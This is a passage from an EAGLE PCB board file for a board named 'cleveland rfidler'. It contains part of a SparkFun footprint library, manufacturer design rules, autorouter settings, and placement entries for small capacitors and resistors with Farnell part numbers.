name=\"SparkFun17-11-11\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"0603\">\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.356\" y1=\"0.432\" x2=\"0.356\" y2=\"0.432\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.356\" y1=\"-0.419\" x2=\"0.356\" y2=\"-0.419\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"0.762\" size=\"0.4064\" layer=\"25\" font=\"vector\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-1.143\" size=\"0.4064\" layer=\"27\" font=\"vector\">&gt;VALUE</text>\n<rectangle x1=\"-0.8382\" y1=\"-0.4699\" x2=\"-0.3381\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"0.3302\" y1=\"-0.4699\" x2=\"0.8303\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n</packages>\n</library>\n</libraries>\n<attributes>\n<attribute name=\"VERSION\" value=\"5\"/>\n</attributes>\n<variantdefs>\n</variantdefs>\n<classes>\n<class number=\"0\" name=\"default\" width=\"0\" drill=\"0\">\n</class>\n<class number=\"1\" name=\"power\" width=\"0.25\" drill=\"0.4\">\n<clearance class=\"1\" value=\"0.2\"/>\n</class>\n</classes>\n<designrules name=\"cleveland rfidler v20\">\n<description language=\"de\">&lt;b&gt;EAGLE Design Rules Prototypen  für PCB-POOL(R)&lt;/b&gt;\n&lt;p&gt;\nWir haben in diesem DRU File alle notwendigen Design Einstellungen vorgenommen, damit Sie Ihre Leiterplatte \ngemäß unseren Mindestanforderungen bestellen können. Die Optionen Shapes und Misc sind dabei nicht relevant.\nDer minimale und maximale Wert für Roundness Shapes kann frei gewählt werden.\nBitte beachten Sie, daß die Mindesteinstellungen nicht geändert werden, da ansonsten keine Gewährleistung für eine \nfehlerfreie Produktion übernommen werden kann.&lt;br&gt;\nAbzudeckende Vias können in Masks (unter Limit) eingestellt werden.\n&lt;/p&gt;Ihr Beta LAYOUT Team\n&lt;p&gt;&lt;p&gt;\n&lt;b&gt;EAGLE Design Rules Prototypes to use with PCB-POOL(R)&lt;/b&gt;\n&lt;p&gt;\nThe design rules in this DRU file have been set to cover our minimum requirements, the options Shapes and  Misc are not\nrelevant. Values for Roundness (Shapes) can be chosen freely. Please do not change these minimum\nrequirements to avoid problems during production.&lt;br&gt;\nCovered vias can be set in Masks (Limit).\n\n&lt;/p&gt;Your Beta LAYOUT Team</description>\n<description language=\"en\">cleveland rfidler v1\n</description>\n<param name=\"layerSetup\" value=\"(1*16)\"/>\n<param name=\"mtCopper\" value=\"0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm\"/>\n<param name=\"mtIsolate\" value=\"1.5mm 0.15mm 0.2mm 0.15mm 0.2mm 0.15mm 0.2mm 0.15mm 0.2mm 0.15mm 0.2mm 0.15mm 0.2mm 0.15mm 0.2mm\"/>\n<param name=\"mdWireWire\" value=\"0.2mm\"/>\n<param name=\"mdWirePad\" value=\"0.2mm\"/>\n<param name=\"mdWireVia\" value=\"0.2mm\"/>\n<param name=\"mdPadPad\" value=\"0.2mm\"/>\n<param name=\"mdPadVia\" value=\"0.2mm\"/>\n<param name=\"mdViaVia\" value=\"0.2mm\"/>\n<param name=\"mdSmdPad\" value=\"0.125mm\"/>\n<param name=\"mdSmdVia\" value=\"0.125mm\"/>\n<param name=\"mdSmdSmd\" value=\"0.125mm\"/>\n<param name=\"mdViaViaSameLayer\" value=\"0.2mm\"/>\n<param name=\"mnLayersViaInSmd\" value=\"2\"/>\n<param name=\"mdCopperDimension\" value=\"0.3mm\"/>\n<param name=\"mdDrill\" value=\"0.2mm\"/>\n<param name=\"mdSmdStop\" value=\"0mil\"/>\n<param name=\"msWidth\" value=\"0.2mm\"/>\n<param name=\"msDrill\" value=\"0.4mm\"/>\n<param name=\"msMicroVia\" value=\"25mm\"/>\n<param name=\"msBlindViaRatio\" value=\"0.5\"/>\n<param name=\"rvPadTop\" value=\"0\"/>\n<param name=\"rvPadInner\" value=\"0\"/>\n<param name=\"rvPadBottom\" value=\"0\"/>\n<param name=\"rvViaOuter\" value=\"0\"/>\n<param name=\"rvViaInner\" value=\"0\"/>\n<param name=\"rvMicroViaOuter\" value=\"0\"/>\n<param name=\"rvMicroViaInner\" value=\"0\"/>\n<param name=\"rlMinPadTop\" value=\"0.2mm\"/>\n<param name=\"rlMaxPadTop\" value=\"2.5mm\"/>\n<param name=\"rlMinPadInner\" value=\"0.2mm\"/>\n<param name=\"rlMaxPadInner\" value=\"2.5mm\"/>\n<param name=\"rlMinPadBottom\" value=\"0.2mm\"/>\n<param name=\"rlMaxPadBottom\" value=\"2.5mm\"/>\n<param name=\"rlMinViaOuter\" value=\"0.2mm\"/>\n<param name=\"rlMaxViaOuter\" value=\"2.5mm\"/>\n<param name=\"rlMinViaInner\" value=\"0.2mm\"/>\n<param name=\"rlMaxViaInner\" value=\"2.5mm\"/>\n<param name=\"rlMinMicroViaOuter\" value=\"2.5mm\"/>\n<param name=\"rlMaxMicroViaOuter\" value=\"25mm\"/>\n<param name=\"rlMinMicroViaInner\" value=\"2.5mm\"/>\n<param name=\"rlMaxMicroViaInner\" value=\"25mm\"/>\n<param name=\"psTop\" value=\"-1\"/>\n<param name=\"psBottom\" value=\"-1\"/>\n<param name=\"psFirst\" value=\"-1\"/>\n<param name=\"psElongationLong\" value=\"100\"/>\n<param name=\"psElongationOffset\" value=\"100\"/>\n<param name=\"mvStopFrame\" value=\"0\"/>\n<param name=\"mvCreamFrame\" value=\"0\"/>\n<param name=\"mlMinStopFrame\" value=\"0.075mm\"/>\n<param name=\"mlMaxStopFrame\" value=\"0.2mm\"/>\n<param name=\"mlMinCreamFrame\" value=\"0mil\"/>\n<param name=\"mlMaxCreamFrame\" value=\"0.2mm\"/>\n<param name=\"mlViaStopLimit\" value=\"0.5mm\"/>\n<param name=\"srRoundness\" value=\"0\"/>\n<param name=\"srMinRoundness\" value=\"0mil\"/>\n<param name=\"srMaxRoundness\" value=\"0mil\"/>\n<param name=\"slThermalIsolate\" value=\"0.2mm\"/>\n<param name=\"slThermalsForVias\" value=\"1\"/>\n<param name=\"dpMaxLengthDifference\" value=\"10mm\"/>\n<param name=\"dpGapFactor\" value=\"2.5\"/>\n<param name=\"checkGrid\" value=\"0\"/>\n<param name=\"checkAngle\" value=\"0\"/>\n<param name=\"checkFont\" value=\"1\"/>\n<param name=\"checkRestrict\" value=\"1\"/>\n<param name=\"useDiameter\" value=\"13\"/>\n<param name=\"maxErrors\" value=\"50\"/>\n</designrules>\n<autorouter>\n<pass name=\"Default\">\n<param name=\"RoutingGrid\" value=\"0.1mm\"/>\n<param name=\"tpViaShape\" value=\"round\"/>\n<param name=\"PrefDir.1\" value=\"-\"/>\n<param name=\"PrefDir.2\" value=\"0\"/>\n<param name=\"PrefDir.3\" value=\"0\"/>\n<param name=\"PrefDir.4\" value=\"0\"/>\n<param name=\"PrefDir.5\" value=\"0\"/>\n<param name=\"PrefDir.6\" value=\"0\"/>\n<param name=\"PrefDir.7\" value=\"0\"/>\n<param name=\"PrefDir.8\" value=\"0\"/>\n<param name=\"PrefDir.9\" value=\"0\"/>\n<param name=\"PrefDir.10\" value=\"0\"/>\n<param name=\"PrefDir.11\" value=\"0\"/>\n<param name=\"PrefDir.12\" value=\"0\"/>\n<param name=\"PrefDir.13\" value=\"0\"/>\n<param name=\"PrefDir.14\" value=\"0\"/>\n<param name=\"PrefDir.15\" value=\"0\"/>\n<param name=\"PrefDir.16\" value=\"|\"/>\n<param name=\"cfVia\" value=\"8\"/>\n<param name=\"cfNonPref\" value=\"5\"/>\n<param name=\"cfChangeDir\" value=\"2\"/>\n<param name=\"cfOrthStep\" value=\"2\"/>\n<param name=\"cfDiagStep\" value=\"3\"/>\n<param name=\"cfExtdStep\" value=\"0\"/>\n<param name=\"cfBonusStep\" value=\"1\"/>\n<param name=\"cfMalusStep\" value=\"1\"/>\n<param name=\"cfPadImpact\" value=\"4\"/>\n<param name=\"cfSmdImpact\" value=\"4\"/>\n<param name=\"cfBusImpact\" value=\"0\"/>\n<param name=\"cfHugging\" value=\"3\"/>\n<param name=\"cfAvoid\" value=\"4\"/>\n<param name=\"cfPolygon\" value=\"10\"/>\n<param name=\"cfBase.1\" value=\"0\"/>\n<param name=\"cfBase.2\" value=\"1\"/>\n<param name=\"cfBase.3\" value=\"1\"/>\n<param name=\"cfBase.4\" value=\"1\"/>\n<param name=\"cfBase.5\" value=\"1\"/>\n<param name=\"cfBase.6\" value=\"1\"/>\n<param name=\"cfBase.7\" value=\"1\"/>\n<param name=\"cfBase.8\" value=\"1\"/>\n<param name=\"cfBase.9\" value=\"1\"/>\n<param name=\"cfBase.10\" value=\"1\"/>\n<param name=\"cfBase.11\" value=\"1\"/>\n<param name=\"cfBase.12\" value=\"1\"/>\n<param name=\"cfBase.13\" value=\"1\"/>\n<param name=\"cfBase.14\" value=\"1\"/>\n<param name=\"cfBase.15\" value=\"1\"/>\n<param name=\"cfBase.16\" value=\"0\"/>\n<param name=\"mnVias\" value=\"20\"/>\n<param name=\"mnSegments\" value=\"9999\"/>\n<param name=\"mnExtdSteps\" value=\"9999\"/>\n<param name=\"mnRipupLevel\" value=\"10\"/>\n<param name=\"mnRipupSteps\" value=\"100\"/>\n<param name=\"mnRipupTotal\" value=\"100\"/>\n</pass>\n<pass name=\"Follow-me\" refer=\"Default\" active=\"yes\">\n</pass>\n<pass name=\"Busses\" refer=\"Default\" active=\"yes\">\n<param name=\"cfNonPref\" value=\"4\"/>\n<param name=\"cfBusImpact\" value=\"4\"/>\n<param name=\"cfHugging\" value=\"0\"/>\n<param name=\"mnVias\" value=\"0\"/>\n</pass>\n<pass name=\"Route\" refer=\"Default\" active=\"yes\">\n</pass>\n<pass name=\"Optimize1\" refer=\"Default\" active=\"yes\">\n<param name=\"cfVia\" value=\"99\"/>\n<param name=\"cfExtdStep\" value=\"10\"/>\n<param name=\"cfHugging\" value=\"1\"/>\n<param name=\"mnExtdSteps\" value=\"1\"/>\n<param name=\"mnRipupLevel\" value=\"0\"/>\n</pass>\n<pass name=\"Optimize2\" refer=\"Optimize1\" active=\"yes\">\n<param name=\"cfNonPref\" value=\"0\"/>\n<param name=\"cfChangeDir\" value=\"6\"/>\n<param name=\"cfExtdStep\" value=\"0\"/>\n<param name=\"cfBonusStep\" value=\"2\"/>\n<param name=\"cfMalusStep\" value=\"2\"/>\n<param name=\"cfPadImpact\" value=\"2\"/>\n<param name=\"cfSmdImpact\" value=\"2\"/>\n<param name=\"cfHugging\" value=\"0\"/>\n</pass>\n<pass name=\"Optimize3\" refer=\"Optimize2\" active=\"yes\">\n<param name=\"cfChangeDir\" value=\"8\"/>\n<param name=\"cfPadImpact\" value=\"0\"/>\n<param name=\"cfSmdImpact\" value=\"0\"/>\n</pass>\n<pass name=\"Optimize4\" refer=\"Optimize3\" active=\"yes\">\n<param name=\"cfChangeDir\" value=\"25\"/>\n</pass>\n</autorouter>\n<elements>\n<element name=\"C4\" library=\"resistor\" package=\"C0603\" value=\"TUNE\" x=\"16.45\" y=\"11.7\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"16.112\" y=\"9.789\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"15.907\" y=\"7.816\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"16.45\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"16.45\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"16.45\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"16.45\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"16.45\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"16.45\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"C8\" library=\"resistor\" package=\"C0603\" value=\"1nF\" x=\"19.02\" y=\"11.69\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"18.582\" y=\"14.879\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"18.777\" y=\"10.106\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"19.02\" y=\"11.69\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1414606\" x=\"19.02\" y=\"11.69\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"19.02\" y=\"11.69\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"19.02\" y=\"11.69\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"19.02\" y=\"11.69\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"19.02\" y=\"11.69\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"C10\" library=\"resistor\" package=\"C0603\" value=\"15nf\" x=\"25\" y=\"12.7\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"26.169\" y=\"14.298\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"26.096\" y=\"12.003\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"25\" y=\"12.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"2070401\" x=\"25\" y=\"12.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"25\" y=\"12.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"25\" y=\"12.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"25\" y=\"12.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"25\" y=\"12.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"C9\" library=\"resistor\" package=\"C0603\" value=\"1nF\" x=\"34.4\" y=\"19.5\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"33.738\" y=\"19.011\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"35.843\" y=\"18.684\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"34.4\" y=\"19.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1414606\" x=\"34.4\" y=\"19.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"34.4\" y=\"19.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"34.4\" y=\"19.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"34.4\" y=\"19.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"34.4\" y=\"19.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"C11\" library=\"resistor\" package=\"C0603\" value=\"100nF\" x=\"34.4\" y=\"22.8\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"32.462\" y=\"23.889\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"35.257\" y=\"24.916\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"PARTNO\" value=\"currently rs2644646\" x=\"34.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"2332586\" x=\"34.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"34.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"34.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\" x=\"34.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"34.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"C1\" library=\"SparkFun-Capacitors\" package=\"0603-CAP\" value=\"100nF\" x=\"42.96\" y=\"17\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" value=\"currently rs 264-4646\" x=\"42.96\" y=\"17\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"41.122\" y=\"17.689\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"43.817\" y=\"19.216\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"2332586\" x=\"42.96\" y=\"17\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"42.96\" y=\"17\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"42.96\" y=\"17\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\" x=\"42.96\" y=\"17\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"42.96\" y=\"17\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"R7\" library=\"resistor\" package=\"R0603\" value=\"1M\" x=\"22.01\" y=\"11.7\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"22.348\" y=\"13.711\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"22.353\" y=\"8.784\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"22.01\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1469746\" x=\"22.01\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"22.01\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"22.01\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"22.01\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"22.01\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"R13\" library=\"resistor\" package=\"R0603\" value=\"8K06\" x=\"29\" y=\"12.7\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"29.989\" y=\"14.438\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"27.704\" y=\"11.017\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"29\" y=\"12.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1170881\" x=\"29\" y=\"12.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"29\" y=\"12.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"29\" y=\"12.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"29\" y=\"12.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"29\" y=\"12.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"R14\" library=\"resistor\" package=\"R0603\" value=\"4k7\" x=\"41.07\" y=\"27\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"42.359\" y=\"28.838\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"42.386\" y=\"26.043\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"41.07\" y=\"27\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"2078913\" x=\"41.07\" y=\"27\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"41.07\" y=\"27\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"41.07\" y=\"27\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"41.07\" y=\"27\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"41.07\" y=\"27\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"R15\" library=\"resistor\" package=\"R0603\" value=\"220K\" x=\"44.86\" y=\"27\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"44.86\" y=\"27\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"46.049\" y=\"28.738\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"46.476\" y=\"26.043\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"2073431\" x=\"44.86\" y=\"27\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"44.86\" y=\"27\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"44.86\" y=\"27\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"44.86\" y=\"27\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"44.86\" y=\"27\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"R10\" library=\"resistor\" package=\"R0603\" value=\"1M\" x=\"37.97\" y=\"22.8\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"37.97\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"37.208\" y=\"22.211\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"39.613\" y=\"21.884\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"1469746\" x=\"37.97\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"37.97\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"37.97\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"37.97\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"37.97\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"R1\" library=\"resistor\" package=\"R0603\" value=\"100K\" x=\"37.97\" y=\"17\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"36.132\" y=\"17.789\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"38.927\" y=\"18.616\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"37.97\" y=\"17\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"9330402\" x=\"37.97\" y=\"17\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"37.97\" y=\"17\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"37.97\" y=\"17\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"37.97\" y=\"17\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"37.97\" y=\"17\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"R8\" library=\"resistor\" package=\"R0603\" value=\"100K\" x=\"42.96\" y=\"22.8\" smashed=\"yes\" rot=\"R270\">\n<attribute 